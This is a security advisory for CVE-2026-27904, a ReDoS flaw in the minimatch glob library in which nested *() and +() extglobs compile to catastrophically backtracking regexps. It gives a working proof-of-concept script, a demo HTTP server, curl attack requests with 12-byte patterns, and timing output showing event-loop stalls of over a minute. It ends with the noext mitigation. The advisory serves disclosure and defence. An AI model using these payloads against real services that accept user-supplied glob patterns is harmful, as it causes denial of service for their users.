CVE-2026-27904

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.

---

Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

Pattern	Generated regex
*(a|b)	/^(?:a|b)*$/
*(*(a|b))	/^(?:(?:a|b)*)*$/
*(*(*(a|b)))	/^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b))))	/^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

Pattern	Input	Time
*(*(a|b))	a x30 + z	~68,000ms
*(*(*(a|b)))	a x20 + z	~124,000ms
*(*(*(*(a|b))))	a x25 + z	~116,000ms
*(a|a)	a x25 + z	~2,000ms

Depth inflection at fixed input a x16 + z:

Depth	Pattern	Time
1	*(a|b)	0ms
2	*(*(a|b))	4ms
3	*(*(*(a|b)))	270ms
4	*(*(*(*(a|b))))	115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.

---

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import { minimatch, Minimatch } from 'minimatch'

function timed(fn) {
  const s = process.hrtime.bigint()
  let result, error
  try { result = fn() } catch(e) { error = e }
  const ms = Number(process.hrtime.bigint() - s) / 1e6
  return { ms, result, error }
}

// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
  let pat = 'a|b'
  for (let i = 0; i < depth; i++) pat = `*(${pat})`
  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
  console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)"          -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/

// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
  ['*(*(*(a|b)))', 15],   // ~270ms
  ['*(*(*(a|b)))', 17],   // ~800ms
  ['*(*(*(a|b)))', 19],   // ~2400ms
  ['*(*(a|b))',    23],   // ~260ms
  ['*(a|b)',      101],   // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
  const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
  console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}

// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)

// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)"          -> /^(?:a|b)*$/
depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))"    n=23: 257ms result=false
"*(a|b)"       n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3001
http.createServer((req, res) => {
  const url     = new URL(req.url, `http://localhost:${PORT}`)
  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}

time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.

---

Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.